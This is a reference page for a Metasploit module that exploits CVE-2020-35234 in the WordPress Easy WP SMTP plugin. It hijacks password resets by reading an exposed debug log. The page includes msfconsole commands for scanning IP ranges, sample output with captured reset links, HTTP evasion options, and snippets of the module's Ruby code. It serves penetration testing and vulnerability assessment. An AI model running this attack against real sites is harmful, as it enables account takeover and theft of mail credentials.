WordPress Easy WP SMTP Password Reset - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/http/wp_easy_wp_smtp metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: WordPress Easy WP SMTP Password Reset
Module: auxiliary/scanner/http/wp_easy_wp_smtp
Source code: modules/auxiliary/scanner/http/wp_easy_wp_smtp.rb
Disclosure date: 2020-12-06
Last modification time: 2021-12-14 16:40:52 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-35234

Wordpress plugin Easy WP SMTP versions <= 1.4.2 was found to not include index.html within its plugin folder. This potentially allows for directory listings. If debug mode is also enabled for the plugin, all SMTP commands are stored in a debug file. An email must have been sent from the system as well to create the debug file. If an email hasn't been sent (Test Email function not included), Aggressive can bypass the last check. Combining these items, it's possible to request a password reset for an account, then view the debug file to determine the link that was emailed out, and reset the user's password.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/http/wp_easy_wp_smtp
msf auxiliary(wp_easy_wp_smtp) > show options
    ... show and set options ...
msf auxiliary(wp_easy_wp_smtp) > set RHOSTS ip-range
msf auxiliary(wp_easy_wp_smtp) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(wp_easy_wp_smtp) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(wp_easy_wp_smtp) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(wp_easy_wp_smtp) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


Wordpress plugin Easy WP SMTP versions <= 1.4.2 was found to not include index.html within its plugin folder. This potentially allows for directory listings. If debug mode is also enabled for the plugin, all SMTP commands are stored in a debug file. Combining these items, it's possible to request a password reset for an account, then view the debug file to determine the link that was emailed out, and reset the user's password.

This module will list ALL reset links, most likely the last one is the one that will work, however there may be value in the others as well (such as other users). The debug log saved in loot may also contain the SMTP username and password.

There is one potential false negative case where the aggressive option should be used. If debug mode was enabled, however only the Test Email was used (or no legit email has been sent by the server), the debug file won't exist yet. This will be remedied by the first password reset request, but to avoid this module being too noisy, it won't happen unles aggressive is set to true.

To summarize:

  1. Vulnerable version of Easy WP SMTP
  2. debug turned on for Easy WP SMTP
  3. SMTP configured for Easy WP SMTP
  4. direcotry listings enabled

Install

  1. Install wordpress
  2. Download and install Easy WP SMTP <= 1.4.2
  3. Browse to Settings > Easy WP SMTP
    1. Configure the plugin (SMTP Host, SMTP Port, UN/PASS)
    2. Additional Settings > Enable Debug Log (Check this value, click Save Changes)

Verification Steps


  1. Install Wordpress, Easy WP SMTP, and configure it
  2. Start msfconsole
  3. Do: use auxiliary/scanner/http/wp_easy_wp_smtp
  4. Do: set rhost [ip]
  5. Do: set USER [username]
  6. Do: run
  7. You should get the link to reset the user's password

Options


User

The username to reset the password of. Defaults to Admin

Aggressive

When true, if directory listings are enabled, however debug file can not be found, the code will proceed anyways. Defaults to false.

Scenarios


Easy WP SMTP 1.4.1 on Wordpress 5.4.4 running on Ubuntu 20.04

resource (wp_easy_wp_smtp.rb)> use auxiliary/scanner/http/wp_easy_wp_smtp
resource (wp_easy_wp_smtp.rb)> set verbose true
verbose => true
resource (wp_easy_wp_smtp.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (wp_easy_wp_smtp.rb)> run
[*] Checking /wp-content/plugins/easy-wp-smtp/readme.txt
[*] Found version 1.4.1 in the plugin
[+] Vulnerable version detected
[+] Found debug log: /wp-content/plugins/easy-wp-smtp/5fcfd49e879f9_debug_log.txt
[*] Sending password reset for Admin
[+] Debug log saved to /home/h00die/.msf4/loot/20201208204705_default_1.1.1.1_5fcfd49e879f9_de_209239.txt.  Manual review for possible SMTP password, and other information.
[*] admin password reset: http://1.1.1.1/wp-login.php?action=rp&key=IdlSwWkIuy0f7k79OU2p&login=admin
[*] Finished enumerating resets.  Last one most likely to succeed
[*] Scanned 1 of 1 hosts (100% complete)

Easy WP SMTP 1.4.1 on Wordpress 5.4.4 running on Ubuntu 20.04. Aggressive mode

resource (easy-wp-smtp.rb)> use auxiliary/scanner/http/wp_easy_wp_smtp
resource (easy-wp-smtp.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (easy-wp-smtp.rb)> set verbose true
verbose => true
resource (easy-wp-smtp.rb)> run
[*] Checking /wp-content/plugins/easy-wp-smtp/readme.txt
[*] Found version 1.4.1 in the plugin
[+] Vulnerable version detected
[*] Checking for debug_log file
[-] not-vulnerable: Either debug log not turned on, or directory listings disabled.  Try AGGRESSIVE mode if this is a false positive
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (easy-wp-smtp.rb)> set aggressive true
aggressive => true
resource (easy-wp-smtp.rb)> run
[*] Checking /wp-content/plugins/easy-wp-smtp/readme.txt
[*] Found version 1.4.1 in the plugin
[+] Vulnerable version detected
[*] Checking for debug_log file
[-] Debug file not found, bypassing check due to AGGRESSIVE mode
[*] Sending password reset for Admin
[*] Checking for debug_log file
[+] Debug log saved to /home/h00die/.msf4/loot/20201218152659_default_1.1.1.1_5fcfd49e879f9_de_812609.txt.  Manual review for possible SMTP password, and other information.
[*] admin password reset: http://1.1.1.1/wp-login.php?action=rp&key=SQRBS8Hpro9jPQdZ9vP5&login=admin
[*] Finished enumerating resets.  Last one most likely to succeed
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Go back to menu.

Msfconsole Usage


Here is how the scanner/http/wp_easy_wp_smtp auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/http/wp_easy_wp_smtp

msf6 auxiliary(scanner/http/wp_easy_wp_smtp) > show info

       Name: WordPress Easy WP SMTP Password Reset
     Module: auxiliary/scanner/http/wp_easy_wp_smtp
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2020-12-06

Provided by:
  h00die

Check supported:
  No

Basic options:
  Name        Current Setting  Required  Description
  ----        ---------------  --------  -----------
  AGGRESSIVE  false            no        Proceed if debug file not found
  Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT       80               yes       The target port (TCP)
  SSL         false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI   /                yes       The base path to the wordpress application
  THREADS     1                yes       The number of concurrent threads (max one per host)
  USER        Admin            no        Username to reset the password for
  VHOST                        no        HTTP server virtual host

Description:
  Wordpress plugin Easy WP SMTP versions <= 1.4.2 was found to not 
  include index.html within its plugin folder. This potentially allows 
  for directory listings. If debug mode is also enabled for the 
  plugin, all SMTP commands are stored in a debug file. An email must 
  have been sent from the system as well to create the debug file. If 
  an email hasn't been sent (Test Email function not included), 
  Aggressive can bypass the last check. Combining these items, it's 
  possible to request a password reset for an account, then view the 
  debug file to determine the link that was emailed out, and reset the 
  user's password.

References:
  https://wordpress.org/support/topic/security-issue-with-debug-log/
  https://blog.nintechnet.com/wordpress-easy-wp-smtp-plugin-fixed-zero-day-vulnerability/
  https://plugins.trac.wordpress.org/changeset/2432768/easy-wp-smtp
  https://wpscan.com/vulnerability/10494
  https://nvd.nist.gov/vuln/detail/CVE-2020-35234

Module Options


This is a complete list of options available in the scanner/http/wp_easy_wp_smtp auxiliary module:

msf6 auxiliary(scanner/http/wp_easy_wp_smtp) > show options

Module options (auxiliary/scanner/http/wp_easy_wp_smtp):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   AGGRESSIVE  false            no        Proceed if debug file not found
   Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT       80               yes       The target port (TCP)
   SSL         false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI   /                yes       The base path to the wordpress application
   THREADS     1                yes       The number of concurrent threads (max one per host)
   USER        Admin            no        Username to reset the password for
   VHOST                        no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the scanner/http/wp_easy_wp_smtp auxiliary module:

msf6 auxiliary(scanner/http/wp_easy_wp_smtp) > show advanced

Module advanced options (auxiliary/scanner/http/wp_easy_wp_smtp):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress          true                                                yes       Display progress messages during a scan
   ShowProgressPercent   10                                                  yes       The interval in percent that progress should be shown
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module
   WPCHECK               true                                                yes       Check if the website is a valid WordPress install
   WPCONTENTDIR          wp-content                                          yes       The name of the wp-content directory

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/http/wp_easy_wp_smtp module can do:

msf6 auxiliary(scanner/http/wp_easy_wp_smtp) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the scanner/http/wp_easy_wp_smtp auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/http/wp_easy_wp_smtp) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

45:	    print_status('Checking for debug_log file')
46:	    res = send_request_cgi({
47:	      'method' => 'GET',
48:	      'uri' => "#{normalize_uri(target_uri.path, 'wp-content', 'plugins', 'easy-wp-smtp')}/" # trailing / to browse directory
49:	    })
50:	    fail_with Failure::Unreachable, 'Connection failed' unless res
51:	    # find the debug file name, prefix during my testing was 14 alpha-numeric
52:	    unless />\s*(?<debug_log>\w{5,15}_debug_log\.txt)/ =~ res.body
53:	      unless aggressive
54:	        fail_with Failure::NotVulnerable, 'Either debug log not turned on, or directory listings disabled.  Try AGGRESSIVE mode if this is a false positive'
55:	      end

Either debug log not turned on, or directory listings disabled. Try AGGRESSIVE mode if this is a false positive


Here is a relevant code snippet related to the "Either debug log not turned on, or directory listings disabled. Try AGGRESSIVE mode if this is a false positive" error message:

49:	    })
50:	    fail_with Failure::Unreachable, 'Connection failed' unless res
51:	    # find the debug file name, prefix during my testing was 14 alpha-numeric
52:	    unless />\s*(?<debug_log>\w{5,15}_debug_log\.txt)/ =~ res.body
53:	      unless aggressive
54:	        fail_with Failure::NotVulnerable, 'Either debug log not turned on, or directory listings disabled.  Try AGGRESSIVE mode if this is a false positive'
55:	      end
56:	      print_error('Debug file not found, bypassing check due to AGGRESSIVE mode')
57:	    end
58:	    debug_log
59:	  end

Debug file not found, bypassing check due to AGGRESSIVE mode


Here is a relevant code snippet related to the "Debug file not found, bypassing check due to AGGRESSIVE mode" error message:

51:	    # find the debug file name, prefix during my testing was 14 alpha-numeric
52:	    unless />\s*(?<debug_log>\w{5,15}_debug_log\.txt)/ =~ res.body
53:	      unless aggressive
54:	        fail_with Failure::NotVulnerable, 'Either debug log not turned on, or directory listings disabled.  Try AGGRESSIVE mode if this is a false positive'
55:	      end
56:	      print_error('Debug file not found, bypassing check due to AGGRESSIVE mode')
57:	    end
58:	    debug_log
59:	  end
60:	
61:	  def run_host(ip)

Server not online or not detected as wordpress


Here is a relevant code snippet related to the "Server not online or not detected as wordpress" error message:

58:	    debug_log
59:	  end
60:	
61:	  def run_host(ip)
62:	    unless wordpress_and_online?
63:	      fail_with Failure::NotVulnerable, 'Server not online or not detected as wordpress'
64:	    end
65:	
66:	    checkcode = check_plugin_version_from_readme('easy-wp-smtp', '1.4.2')
67:	    unless [Msf::Exploit::CheckCode::Vulnerable, Msf::Exploit::CheckCode::Appears, Msf::Exploit::CheckCode::Detected].include?(checkcode)
68:	      fail_with Failure::NotVulnerable, 'A vulnerable version of the "Easy WP SMTP" was not found'

A vulnerable version of the "Easy WP SMTP" was not found


Here is a relevant code snippet related to the "A vulnerable version of the "Easy WP SMTP" was not found" error message:

63:	      fail_with Failure::NotVulnerable, 'Server not online or not detected as wordpress'
64:	    end
65:	
66:	    checkcode = check_plugin_version_from_readme('easy-wp-smtp', '1.4.2')
67:	    unless [Msf::Exploit::CheckCode::Vulnerable, Msf::Exploit::CheckCode::Appears, Msf::Exploit::CheckCode::Detected].include?(checkcode)
68:	      fail_with Failure::NotVulnerable, 'A vulnerable version of the "Easy WP SMTP" was not found'
69:	    end
70:	    print_good('Vulnerable version detected')
71:	
72:	    debug_log = get_debug_file(datastore['AGGRESSIVE'])
73:	    if debug_log

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

84:	        'user_login' => datastore['USER'],
85:	        'redirect_to' => '',
86:	        'wp-submit' => 'Get New Password'
87:	      }
88:	    })
89:	    fail_with Failure::Unreachable, 'Connection failed' unless res
90:	    fail_with Failure::NotVulnerable, 'Site not configured to submit new password request' if res.body.include?('The email could not be sent')
91:	    fail_with Failure::Unknown, 'Unable to submit new password request' unless res.code == 302
92:	
93:	    unless debug_log
94:	      Rex.sleep(2) # give the log file time to write if it wasn't there already

Site not configured to submit new password request


Here is a relevant code snippet related to the "Site not configured to submit new password request" error message:

85:	        'redirect_to' => '',
86:	        'wp-submit' => 'Get New Password'
87:	      }
88:	    })
89:	    fail_with Failure::Unreachable, 'Connection failed' unless res
90:	    fail_with Failure::NotVulnerable, 'Site not configured to submit new password request' if res.body.include?('The email could not be sent')
91:	    fail_with Failure::Unknown, 'Unable to submit new password request' unless res.code == 302
92:	
93:	    unless debug_log
94:	      Rex.sleep(2) # give the log file time to write if it wasn't there already
95:	      debug_log = get_debug_file(false) # die if file not found

Unable to submit new password request


Here is a relevant code snippet related to the "Unable to submit new password request" error message:

86:	        'wp-submit' => 'Get New Password'
87:	      }
88:	    })
89:	    fail_with Failure::Unreachable, 'Connection failed' unless res
90:	    fail_with Failure::NotVulnerable, 'Site not configured to submit new password request' if res.body.include?('The email could not be sent')
91:	    fail_with Failure::Unknown, 'Unable to submit new password request' unless res.code == 302
92:	
93:	    unless debug_log
94:	      Rex.sleep(2) # give the log file time to write if it wasn't there already
95:	      debug_log = get_debug_file(false) # die if file not found
96:	    end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • h00die

Version


This page has been produced using Metasploit Framework version 6.1.36-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.